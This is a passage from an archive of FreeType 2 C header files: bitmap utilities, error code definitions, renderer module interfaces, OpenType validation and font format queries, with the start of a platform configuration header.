FT_UInt limit; } FT_Prop_IncreaseXHeight; /************************************************************************** * * @property: * warping * * @description: * *Experimental* *only* * * If FreeType gets compiled with option AF_CONFIG_OPTION_USE_WARPER to * activate the warp hinting code in the auto-hinter, this property * switches warping on and off. * * Warping only works in `normal' auto-hinting mode replacing it. * The idea of the code is to slightly scale and shift a glyph along * the non-hinted dimension (which is usually the horizontal axis) so * that as much of its segments are aligned (more or less) to the grid. * To find out a glyph's optimal scaling and shifting value, various * parameter combinations are tried and scored. * * By default, warping is off. The example below shows how to switch on * warping (omitting the error handling). * * { * FT_Library library; * FT_Bool warping = 1; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "autofitter", * "warping", &warping ); * } * * @note: * This property can be used with @FT_Property_Get also. * * This property can be set via the `FREETYPE_PROPERTIES' environment * variable (using values 1 and 0 for `on' and `off', respectively). * * The warping code can also change advance widths. Have a look at the * `lsb_delta' and `rsb_delta' fields in the @FT_GlyphSlotRec structure * for details on improving inter-glyph distances while rendering. * * Since warping is a global property of the auto-hinter it is best to * change its value before rendering any face. Otherwise, you should * reload all faces that get auto-hinted in `normal' hinting mode. * * @since: * 2.6 * */ /* */ FT_END_HEADER #endif /* FTDRIVER_H_ */ /* END */ freetype2/freetype/ftbitmap.h 0000644 00000034550 15246445047 0012275 0 ustar 00 /***************************************************************************/ /* */ /* ftbitmap.h */ /* */ /* FreeType utility functions for bitmaps (specification). */ /* */ /* Copyright 2004-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTBITMAP_H_ #define FTBITMAP_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* bitmap_handling */ /* */ /* <Title> */ /* Bitmap Handling */ /* */ /* <Abstract> */ /* Handling FT_Bitmap objects. */ /* */ /* <Description> */ /* This section contains functions for handling @FT_Bitmap objects. */ /* Note that none of the functions changes the bitmap's `flow' (as */ /* indicated by the sign of the `pitch' field in `FT_Bitmap'). */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Bitmap_Init */ /* */ /* <Description> */ /* Initialize a pointer to an @FT_Bitmap structure. */ /* */ /* <InOut> */ /* abitmap :: A pointer to the bitmap structure. */ /* */ /* <Note> */ /* A deprecated name for the same function is `FT_Bitmap_New'. */ /* */ FT_EXPORT( void ) FT_Bitmap_Init( FT_Bitmap *abitmap ); /* deprecated */ FT_EXPORT( void ) FT_Bitmap_New( FT_Bitmap *abitmap ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Bitmap_Copy */ /* */ /* <Description> */ /* Copy a bitmap into another one. */ /* */ /* <Input> */ /* library :: A handle to a library object. */ /* */ /* source :: A handle to the source bitmap. */ /* */ /* <Output> */ /* target :: A handle to the target bitmap. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Bitmap_Copy( FT_Library library, const FT_Bitmap *source, FT_Bitmap *target ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Bitmap_Embolden */ /* */ /* <Description> */ /* Embolden a bitmap. The new bitmap will be about `xStrength' */ /* pixels wider and `yStrength' pixels higher. The left and bottom */ /* borders are kept unchanged. */ /* */ /* <Input> */ /* library :: A handle to a library object. */ /* */ /* xStrength :: How strong the glyph is emboldened horizontally. */ /* Expressed in 26.6 pixel format. */ /* */ /* yStrength :: How strong the glyph is emboldened vertically. */ /* Expressed in 26.6 pixel format. */ /* */ /* <InOut> */ /* bitmap :: A handle to the target bitmap. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The current implementation restricts `xStrength' to be less than */ /* or equal to~8 if bitmap is of pixel_mode @FT_PIXEL_MODE_MONO. */ /* */ /* If you want to embolden the bitmap owned by a @FT_GlyphSlotRec, */ /* you should call @FT_GlyphSlot_Own_Bitmap on the slot first. */ /* */ /* Bitmaps in @FT_PIXEL_MODE_GRAY2 and @FT_PIXEL_MODE_GRAY@ format */ /* are converted to @FT_PIXEL_MODE_GRAY format (i.e., 8bpp). */ /* */ FT_EXPORT( FT_Error ) FT_Bitmap_Embolden( FT_Library library, FT_Bitmap* bitmap, FT_Pos xStrength, FT_Pos yStrength ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Bitmap_Convert */ /* */ /* <Description> */ /* Convert a bitmap object with depth 1bpp, 2bpp, 4bpp, 8bpp or 32bpp */ /* to a bitmap object with depth 8bpp, making the number of used */ /* bytes line (a.k.a. the `pitch') a multiple of `alignment'. */ /* */ /* <Input> */ /* library :: A handle to a library object. */ /* */ /* source :: The source bitmap. */ /* */ /* alignment :: The pitch of the bitmap is a multiple of this */ /* parameter. Common values are 1, 2, or 4. */ /* */ /* <Output> */ /* target :: The target bitmap. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* It is possible to call @FT_Bitmap_Convert multiple times without */ /* calling @FT_Bitmap_Done (the memory is simply reallocated). */ /* */ /* Use @FT_Bitmap_Done to finally remove the bitmap object. */ /* */ /* The `library' argument is taken to have access to FreeType's */ /* memory handling functions. */ /* */ FT_EXPORT( FT_Error ) FT_Bitmap_Convert( FT_Library library, const FT_Bitmap *source, FT_Bitmap *target, FT_Int alignment ); /*************************************************************************/ /* */ /* <Function> */ /* FT_GlyphSlot_Own_Bitmap */ /* */ /* <Description> */ /* Make sure that a glyph slot owns `slot->bitmap'. */ /* */ /* <Input> */ /* slot :: The glyph slot. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* This function is to be used in combination with */ /* @FT_Bitmap_Embolden. */ /* */ FT_EXPORT( FT_Error ) FT_GlyphSlot_Own_Bitmap( FT_GlyphSlot slot ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Bitmap_Done */ /* */ /* <Description> */ /* Destroy a bitmap object initialized with @FT_Bitmap_Init. */ /* */ /* <Input> */ /* library :: A handle to a library object. */ /* */ /* bitmap :: The bitmap object to be freed. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The `library' argument is taken to have access to FreeType's */ /* memory handling functions. */ /* */ FT_EXPORT( FT_Error ) FT_Bitmap_Done( FT_Library library, FT_Bitmap *bitmap ); /* */ FT_END_HEADER #endif /* FTBITMAP_H_ */ /* END */ freetype2/freetype/fterrdef.h 0000644 00000034330 15246445047 0012264 0 ustar 00 /***************************************************************************/ /* */ /* fterrdef.h */ /* */ /* FreeType error codes (specification). */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* error_code_values */ /* */ /* <Title> */ /* Error Code Values */ /* */ /* <Abstract> */ /* All possible error codes returned by FreeType functions. */ /* */ /* <Description> */ /* The list below is taken verbatim from the file `fterrdef.h' */ /* (loaded automatically by including `FT_FREETYPE_H'). The first */ /* argument of the `FT_ERROR_DEF_' macro is the error label; by */ /* default, the prefix `FT_Err_' gets added so that you get error */ /* names like `FT_Err_Cannot_Open_Resource'. The second argument is */ /* the error code, and the last argument an error string, which is not */ /* used by FreeType. */ /* */ /* Within your application you should *only* use error names and */ /* *never* its numeric values! The latter might (and actually do) */ /* change in forthcoming FreeType versions. */ /* */ /* Macro `FT_NOERRORDEF_' defines `FT_Err_Ok', which is always zero. */ /* See the `Error Enumerations' subsection how to automatically */ /* generate a list of error strings. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Enum> */ /* FT_Err_XXX */ /* */ /*************************************************************************/ /* generic errors */ FT_NOERRORDEF_( Ok, 0x00, "no error" ) FT_ERRORDEF_( Cannot_Open_Resource, 0x01, "cannot open resource" ) FT_ERRORDEF_( Unknown_File_Format, 0x02, "unknown file format" ) FT_ERRORDEF_( Invalid_File_Format, 0x03, "broken file" ) FT_ERRORDEF_( Invalid_Version, 0x04, "invalid FreeType version" ) FT_ERRORDEF_( Lower_Module_Version, 0x05, "module version is too low" ) FT_ERRORDEF_( Invalid_Argument, 0x06, "invalid argument" ) FT_ERRORDEF_( Unimplemented_Feature, 0x07, "unimplemented feature" ) FT_ERRORDEF_( Invalid_Table, 0x08, "broken table" ) FT_ERRORDEF_( Invalid_Offset, 0x09, "broken offset within table" ) FT_ERRORDEF_( Array_Too_Large, 0x0A, "array allocation size too large" ) FT_ERRORDEF_( Missing_Module, 0x0B, "missing module" ) FT_ERRORDEF_( Missing_Property, 0x0C, "missing property" ) /* glyph/character errors */ FT_ERRORDEF_( Invalid_Glyph_Index, 0x10, "invalid glyph index" ) FT_ERRORDEF_( Invalid_Character_Code, 0x11, "invalid character code" ) FT_ERRORDEF_( Invalid_Glyph_Format, 0x12, "unsupported glyph image format" ) FT_ERRORDEF_( Cannot_Render_Glyph, 0x13, "cannot render this glyph format" ) FT_ERRORDEF_( Invalid_Outline, 0x14, "invalid outline" ) FT_ERRORDEF_( Invalid_Composite, 0x15, "invalid composite glyph" ) FT_ERRORDEF_( Too_Many_Hints, 0x16, "too many hints" ) FT_ERRORDEF_( Invalid_Pixel_Size, 0x17, "invalid pixel size" ) /* handle errors */ FT_ERRORDEF_( Invalid_Handle, 0x20, "invalid object handle" ) FT_ERRORDEF_( Invalid_Library_Handle, 0x21, "invalid library handle" ) FT_ERRORDEF_( Invalid_Driver_Handle, 0x22, "invalid module handle" ) FT_ERRORDEF_( Invalid_Face_Handle, 0x23, "invalid face handle" ) FT_ERRORDEF_( Invalid_Size_Handle, 0x24, "invalid size handle" ) FT_ERRORDEF_( Invalid_Slot_Handle, 0x25, "invalid glyph slot handle" ) FT_ERRORDEF_( Invalid_CharMap_Handle, 0x26, "invalid charmap handle" ) FT_ERRORDEF_( Invalid_Cache_Handle, 0x27, "invalid cache manager handle" ) FT_ERRORDEF_( Invalid_Stream_Handle, 0x28, "invalid stream handle" ) /* driver errors */ FT_ERRORDEF_( Too_Many_Drivers, 0x30, "too many modules" ) FT_ERRORDEF_( Too_Many_Extensions, 0x31, "too many extensions" ) /* memory errors */ FT_ERRORDEF_( Out_Of_Memory, 0x40, "out of memory" ) FT_ERRORDEF_( Unlisted_Object, 0x41, "unlisted object" ) /* stream errors */ FT_ERRORDEF_( Cannot_Open_Stream, 0x51, "cannot open stream" ) FT_ERRORDEF_( Invalid_Stream_Seek, 0x52, "invalid stream seek" ) FT_ERRORDEF_( Invalid_Stream_Skip, 0x53, "invalid stream skip" ) FT_ERRORDEF_( Invalid_Stream_Read, 0x54, "invalid stream read" ) FT_ERRORDEF_( Invalid_Stream_Operation, 0x55, "invalid stream operation" ) FT_ERRORDEF_( Invalid_Frame_Operation, 0x56, "invalid frame operation" ) FT_ERRORDEF_( Nested_Frame_Access, 0x57, "nested frame access" ) FT_ERRORDEF_( Invalid_Frame_Read, 0x58, "invalid frame read" ) /* raster errors */ FT_ERRORDEF_( Raster_Uninitialized, 0x60, "raster uninitialized" ) FT_ERRORDEF_( Raster_Corrupted, 0x61, "raster corrupted" ) FT_ERRORDEF_( Raster_Overflow, 0x62, "raster overflow" ) FT_ERRORDEF_( Raster_Negative_Height, 0x63, "negative height while rastering" ) /* cache errors */ FT_ERRORDEF_( Too_Many_Caches, 0x70, "too many registered caches" ) /* TrueType and SFNT errors */ FT_ERRORDEF_( Invalid_Opcode, 0x80, "invalid opcode" ) FT_ERRORDEF_( Too_Few_Arguments, 0x81, "too few arguments" ) FT_ERRORDEF_( Stack_Overflow, 0x82, "stack overflow" ) FT_ERRORDEF_( Code_Overflow, 0x83, "code overflow" ) FT_ERRORDEF_( Bad_Argument, 0x84, "bad argument" ) FT_ERRORDEF_( Divide_By_Zero, 0x85, "division by zero" ) FT_ERRORDEF_( Invalid_Reference, 0x86, "invalid reference" ) FT_ERRORDEF_( Debug_OpCode, 0x87, "found debug opcode" ) FT_ERRORDEF_( ENDF_In_Exec_Stream, 0x88, "found ENDF opcode in execution stream" ) FT_ERRORDEF_( Nested_DEFS, 0x89, "nested DEFS" ) FT_ERRORDEF_( Invalid_CodeRange, 0x8A, "invalid code range" ) FT_ERRORDEF_( Execution_Too_Long, 0x8B, "execution context too long" ) FT_ERRORDEF_( Too_Many_Function_Defs, 0x8C, "too many function definitions" ) FT_ERRORDEF_( Too_Many_Instruction_Defs, 0x8D, "too many instruction definitions" ) FT_ERRORDEF_( Table_Missing, 0x8E, "SFNT font table missing" ) FT_ERRORDEF_( Horiz_Header_Missing, 0x8F, "horizontal header (hhea) table missing" ) FT_ERRORDEF_( Locations_Missing, 0x90, "locations (loca) table missing" ) FT_ERRORDEF_( Name_Table_Missing, 0x91, "name table missing" ) FT_ERRORDEF_( CMap_Table_Missing, 0x92, "character map (cmap) table missing" ) FT_ERRORDEF_( Hmtx_Table_Missing, 0x93, "horizontal metrics (hmtx) table missing" ) FT_ERRORDEF_( Post_Table_Missing, 0x94, "PostScript (post) table missing" ) FT_ERRORDEF_( Invalid_Horiz_Metrics, 0x95, "invalid horizontal metrics" ) FT_ERRORDEF_( Invalid_CharMap_Format, 0x96, "invalid character map (cmap) format" ) FT_ERRORDEF_( Invalid_PPem, 0x97, "invalid ppem value" ) FT_ERRORDEF_( Invalid_Vert_Metrics, 0x98, "invalid vertical metrics" ) FT_ERRORDEF_( Could_Not_Find_Context, 0x99, "could not find context" ) FT_ERRORDEF_( Invalid_Post_Table_Format, 0x9A, "invalid PostScript (post) table format" ) FT_ERRORDEF_( Invalid_Post_Table, 0x9B, "invalid PostScript (post) table" ) FT_ERRORDEF_( DEF_In_Glyf_Bytecode, 0x9C, "found FDEF or IDEF opcode in glyf bytecode" ) FT_ERRORDEF_( Missing_Bitmap, 0x9D, "missing bitmap in strike" ) /* CFF, CID, and Type 1 errors */ FT_ERRORDEF_( Syntax_Error, 0xA0, "opcode syntax error" ) FT_ERRORDEF_( Stack_Underflow, 0xA1, "argument stack underflow" ) FT_ERRORDEF_( Ignore, 0xA2, "ignore" ) FT_ERRORDEF_( No_Unicode_Glyph_Name, 0xA3, "no Unicode glyph name found" ) FT_ERRORDEF_( Glyph_Too_Big, 0xA4, "glyph too big for hinting" ) /* BDF errors */ FT_ERRORDEF_( Missing_Startfont_Field, 0xB0, "`STARTFONT' field missing" ) FT_ERRORDEF_( Missing_Font_Field, 0xB1, "`FONT' field missing" ) FT_ERRORDEF_( Missing_Size_Field, 0xB2, "`SIZE' field missing" ) FT_ERRORDEF_( Missing_Fontboundingbox_Field, 0xB3, "`FONTBOUNDINGBOX' field missing" ) FT_ERRORDEF_( Missing_Chars_Field, 0xB4, "`CHARS' field missing" ) FT_ERRORDEF_( Missing_Startchar_Field, 0xB5, "`STARTCHAR' field missing" ) FT_ERRORDEF_( Missing_Encoding_Field, 0xB6, "`ENCODING' field missing" ) FT_ERRORDEF_( Missing_Bbx_Field, 0xB7, "`BBX' field missing" ) FT_ERRORDEF_( Bbx_Too_Big, 0xB8, "`BBX' too big" ) FT_ERRORDEF_( Corrupted_Font_Header, 0xB9, "Font header corrupted or missing fields" ) FT_ERRORDEF_( Corrupted_Font_Glyphs, 0xBA, "Font glyphs corrupted or missing fields" ) /* */ /* END */ freetype2/freetype/ftrender.h 0000644 00000026070 15246445047 0012276 0 ustar 00 /***************************************************************************/ /* */ /* ftrender.h */ /* */ /* FreeType renderer modules public interface (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTRENDER_H_ #define FTRENDER_H_ #include <ft2build.h> #include FT_MODULE_H #include FT_GLYPH_H FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* module_management */ /* */ /*************************************************************************/ /* create a new glyph object */ typedef FT_Error (*FT_Glyph_InitFunc)( FT_Glyph glyph, FT_GlyphSlot slot ); /* destroys a given glyph object */ typedef void (*FT_Glyph_DoneFunc)( FT_Glyph glyph ); typedef void (*FT_Glyph_TransformFunc)( FT_Glyph glyph, const FT_Matrix* matrix, const FT_Vector* delta ); typedef void (*FT_Glyph_GetBBoxFunc)( FT_Glyph glyph, FT_BBox* abbox ); typedef FT_Error (*FT_Glyph_CopyFunc)( FT_Glyph source, FT_Glyph target ); typedef FT_Error (*FT_Glyph_PrepareFunc)( FT_Glyph glyph, FT_GlyphSlot slot ); /* deprecated */ #define FT_Glyph_Init_Func FT_Glyph_InitFunc #define FT_Glyph_Done_Func FT_Glyph_DoneFunc #define FT_Glyph_Transform_Func FT_Glyph_TransformFunc #define FT_Glyph_BBox_Func FT_Glyph_GetBBoxFunc #define FT_Glyph_Copy_Func FT_Glyph_CopyFunc #define FT_Glyph_Prepare_Func FT_Glyph_PrepareFunc struct FT_Glyph_Class_ { FT_Long glyph_size; FT_Glyph_Format glyph_format; FT_Glyph_InitFunc glyph_init; FT_Glyph_DoneFunc glyph_done; FT_Glyph_CopyFunc glyph_copy; FT_Glyph_TransformFunc glyph_transform; FT_Glyph_GetBBoxFunc glyph_bbox; FT_Glyph_PrepareFunc glyph_prepare; }; typedef FT_Error (*FT_Renderer_RenderFunc)( FT_Renderer renderer, FT_GlyphSlot slot, FT_Render_Mode mode, const FT_Vector* origin ); typedef FT_Error (*FT_Renderer_TransformFunc)( FT_Renderer renderer, FT_GlyphSlot slot, const FT_Matrix* matrix, const FT_Vector* delta ); typedef void (*FT_Renderer_GetCBoxFunc)( FT_Renderer renderer, FT_GlyphSlot slot, FT_BBox* cbox ); typedef FT_Error (*FT_Renderer_SetModeFunc)( FT_Renderer renderer, FT_ULong mode_tag, FT_Pointer mode_ptr ); /* deprecated identifiers */ #define FTRenderer_render FT_Renderer_RenderFunc #define FTRenderer_transform FT_Renderer_TransformFunc #define FTRenderer_getCBox FT_Renderer_GetCBoxFunc #define FTRenderer_setMode FT_Renderer_SetModeFunc /*************************************************************************/ /* */ /* <Struct> */ /* FT_Renderer_Class */ /* */ /* <Description> */ /* The renderer module class descriptor. */ /* */ /* <Fields> */ /* root :: The root @FT_Module_Class fields. */ /* */ /* glyph_format :: The glyph image format this renderer handles. */ /* */ /* render_glyph :: A method used to render the image that is in a */ /* given glyph slot into a bitmap. */ /* */ /* transform_glyph :: A method used to transform the image that is in */ /* a given glyph slot. */ /* */ /* get_glyph_cbox :: A method used to access the glyph's cbox. */ /* */ /* set_mode :: A method used to pass additional parameters. */ /* */ /* raster_class :: For @FT_GLYPH_FORMAT_OUTLINE renderers only. */ /* This is a pointer to its raster's class. */ /* */ typedef struct FT_Renderer_Class_ { FT_Module_Class root; FT_Glyph_Format glyph_format; FT_Renderer_RenderFunc render_glyph; FT_Renderer_TransformFunc transform_glyph; FT_Renderer_GetCBoxFunc get_glyph_cbox; FT_Renderer_SetModeFunc set_mode; FT_Raster_Funcs* raster_class; } FT_Renderer_Class; /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Renderer */ /* */ /* <Description> */ /* Retrieve the current renderer for a given glyph format. */ /* */ /* <Input> */ /* library :: A handle to the library object. */ /* */ /* format :: The glyph format. */ /* */ /* <Return> */ /* A renderer handle. 0~if none found. */ /* */ /* <Note> */ /* An error will be returned if a module already exists by that name, */ /* or if the module requires a version of FreeType that is too great. */ /* */ /* To add a new renderer, simply use @FT_Add_Module. To retrieve a */ /* renderer by its name, use @FT_Get_Module. */ /* */ FT_EXPORT( FT_Renderer ) FT_Get_Renderer( FT_Library library, FT_Glyph_Format format ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Renderer */ /* */ /* <Description> */ /* Set the current renderer to use, and set additional mode. */ /* */ /* <InOut> */ /* library :: A handle to the library object. */ /* */ /* <Input> */ /* renderer :: A handle to the renderer object. */ /* */ /* num_params :: The number of additional parameters. */ /* */ /* parameters :: Additional parameters. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* In case of success, the renderer will be used to convert glyph */ /* images in the renderer's known format into bitmaps. */ /* */ /* This doesn't change the current renderer for other formats. */ /* */ /* Currently, no FreeType renderer module uses `parameters'; you */ /* should thus always pass NULL as the value. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Renderer( FT_Library library, FT_Renderer renderer, FT_UInt num_params, FT_Parameter* parameters ); /* */ FT_END_HEADER #endif /* FTRENDER_H_ */ /* END */ freetype2/freetype/ftotval.h 0000644 00000016645 15246445047 0012153 0 ustar 00 /***************************************************************************/ /* */ /* ftotval.h */ /* */ /* FreeType API for validating OpenType tables (specification). */ /* */ /* Copyright 2004-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* */ /* Warning: This module might be moved to a different library in the */ /* future to avoid a tight dependency between FreeType and the */ /* OpenType specification. */ /* */ /* */ /***************************************************************************/ #ifndef FTOTVAL_H_ #define FTOTVAL_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* ot_validation */ /* */ /* <Title> */ /* OpenType Validation */ /* */ /* <Abstract> */ /* An API to validate OpenType tables. */ /* */ /* <Description> */ /* This section contains the declaration of functions to validate */ /* some OpenType tables (BASE, GDEF, GPOS, GSUB, JSTF, MATH). */ /* */ /* <Order> */ /* FT_OpenType_Validate */ /* FT_OpenType_Free */ /* */ /* FT_VALIDATE_OTXXX */ /* */ /*************************************************************************/ /********************************************************************** * * @enum: * FT_VALIDATE_OTXXX * * @description: * A list of bit-field constants used with @FT_OpenType_Validate to * indicate which OpenType tables should be validated. * * @values: * FT_VALIDATE_BASE :: * Validate BASE table. * * FT_VALIDATE_GDEF :: * Validate GDEF table. * * FT_VALIDATE_GPOS :: * Validate GPOS table. * * FT_VALIDATE_GSUB :: * Validate GSUB table. * * FT_VALIDATE_JSTF :: * Validate JSTF table. * * FT_VALIDATE_MATH :: * Validate MATH table. * * FT_VALIDATE_OT :: * Validate all OpenType tables (BASE, GDEF, GPOS, GSUB, JSTF, MATH). * */ #define FT_VALIDATE_BASE 0x0100 #define FT_VALIDATE_GDEF 0x0200 #define FT_VALIDATE_GPOS 0x0400 #define FT_VALIDATE_GSUB 0x0800 #define FT_VALIDATE_JSTF 0x1000 #define FT_VALIDATE_MATH 0x2000 #define FT_VALIDATE_OT ( FT_VALIDATE_BASE | \ FT_VALIDATE_GDEF | \ FT_VALIDATE_GPOS | \ FT_VALIDATE_GSUB | \ FT_VALIDATE_JSTF | \ FT_VALIDATE_MATH ) /********************************************************************** * * @function: * FT_OpenType_Validate * * @description: * Validate various OpenType tables to assure that all offsets and * indices are valid. The idea is that a higher-level library that * actually does the text layout can access those tables without * error checking (which can be quite time consuming). * * @input: * face :: * A handle to the input face. * * validation_flags :: * A bit field that specifies the tables to be validated. See * @FT_VALIDATE_OTXXX for possible values. * * @output: * BASE_table :: * A pointer to the BASE table. * * GDEF_table :: * A pointer to the GDEF table. * * GPOS_table :: * A pointer to the GPOS table. * * GSUB_table :: * A pointer to the GSUB table. * * JSTF_table :: * A pointer to the JSTF table. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with OpenType fonts, returning an error * otherwise. * * After use, the application should deallocate the five tables with * @FT_OpenType_Free. A NULL value indicates that the table either * doesn't exist in the font, or the application hasn't asked for * validation. */ FT_EXPORT( FT_Error ) FT_OpenType_Validate( FT_Face face, FT_UInt validation_flags, FT_Bytes *BASE_table, FT_Bytes *GDEF_table, FT_Bytes *GPOS_table, FT_Bytes *GSUB_table, FT_Bytes *JSTF_table ); /********************************************************************** * * @function: * FT_OpenType_Free * * @description: * Free the buffer allocated by OpenType validator. * * @input: * face :: * A handle to the input face. * * table :: * The pointer to the buffer that is allocated by * @FT_OpenType_Validate. * * @note: * This function must be used to free the buffer allocated by * @FT_OpenType_Validate only. */ FT_EXPORT( void ) FT_OpenType_Free( FT_Face face, FT_Bytes table ); /* */ FT_END_HEADER #endif /* FTOTVAL_H_ */ /* END */ freetype2/freetype/ftfntfmt.h 0000644 00000011560 15246445047 0012313 0 ustar 00 /***************************************************************************/ /* */ /* ftfntfmt.h */ /* */ /* Support functions for font formats. */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTFNTFMT_H_ #define FTFNTFMT_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* font_formats */ /* */ /* <Title> */ /* Font Formats */ /* */ /* <Abstract> */ /* Getting the font format. */ /* */ /* <Description> */ /* The single function in this section can be used to get the font */ /* format. Note that this information is not needed normally; */ /* however, there are special cases (like in PDF devices) where it is */ /* important to differentiate, in spite of FreeType's uniform API. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Font_Format */ /* */ /* <Description> */ /* Return a string describing the format of a given face. Possible */ /* values are `TrueType', `Type~1', `BDF', `PCF', `Type~42', */ /* `CID~Type~1', `CFF', `PFR', and `Windows~FNT'. */ /* */ /* The return value is suitable to be used as an X11 FONT_PROPERTY. */ /* */ /* <Input> */ /* face :: */ /* Input face handle. */ /* */ /* <Return> */ /* Font format string. NULL in case of error. */ /* */ /* <Note> */ /* A deprecated name for the same function is */ /* `FT_Get_X11_Font_Format'. */ /* */ FT_EXPORT( const char* ) FT_Get_Font_Format( FT_Face face ); /* deprecated */ FT_EXPORT( const char* ) FT_Get_X11_Font_Format( FT_Face face ); /* */ FT_END_HEADER #endif /* FTFNTFMT_H_ */ /* END */ freetype2/freetype/config/ftconfig-64.h 0000644 00000060737 15246445047 0013770 0 ustar 00 /* ftconfig.h. Generated from ftconfig.in by configure. */ /***************************************************************************/ /* */ /* ftconfig.in */ /* */ /* UNIX-specific configuration file (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This header file contains a number of macro definitions that are used */ /* by the rest of the engine. Most of the macros here are automatically */ /* determined at compile time, and you should not need to change it to */ /* port FreeType, except to compile the library with a non-ANSI */ /* compiler. */ /* */ /* Note however that if some specific modifications are needed, we */ /* advise you to place a modified copy in your build directory. */ /* */ /* The build directory is usually `builds/<system>', and contains */ /* system-specific files that are always included first when building */ /* the library. */ /* */ /*************************************************************************/ #ifndef FTCONFIG_H_ #define FTCONFIG_H_ #include <ft2build.h> #include FT_CONFIG_OPTIONS_H #include FT_CONFIG_STANDARD_LIBRARY_H FT_BEGIN_HEADER /*************************************************************************/ /* */ /* PLATFORM-SPECIFIC CONFIGURATION MACROS */ /* */ /* These macros can be toggled to suit a specific system. The current */ /* ones are defaults used to compile FreeType in an ANSI C environment */ /* (16bit compilers are also supported). Copy this file to your own */ /* `builds/<system>' directory, and edit it to port the engine. */ /* */ /*************************************************************************/ #define HAVE_UNISTD_H 1 #define HAVE_FCNTL_H 1 #define HAVE_STDINT_H 1 /* There are systems (like the Texas Instruments 'C54x) where a `char' */ /* has 16 bits. ANSI C says that sizeof(char) is always 1. Since an */ /* `int' has 16 bits also for this system, sizeof(int) gives 1 which */ /* is probably unexpected. */ /* */ /* `CHAR_BIT' (defined in limits.h) gives the number of bits in a */ /* `char' type. */ #ifndef FT_CHAR_BIT #define FT_CHAR_BIT CHAR_BIT #endif /* #undef FT_USE_AUTOCONF_SIZEOF_TYPES */ #ifdef FT_USE_AUTOCONF_SIZEOF_TYPES #define SIZEOF_INT 4 #define SIZEOF_LONG 8 #define FT_SIZEOF_INT SIZEOF_INT #define FT_SIZEOF_LONG SIZEOF_LONG #else /* !FT_USE_AUTOCONF_SIZEOF_TYPES */ /* Following cpp computation of the bit length of int and long */ /* is copied from default include/freetype/config/ftconfig.h. */ /* If any improvement is required for this file, it should be */ /* applied to the original header file for the builders that */ /* do not use configure script. */ /* The size of an `int' type. */ #if FT_UINT_MAX == 0xFFFFUL #define FT_SIZEOF_INT (16 / FT_CHAR_BIT) #elif FT_UINT_MAX == 0xFFFFFFFFUL #define FT_SIZEOF_INT (32 / FT_CHAR_BIT) #elif 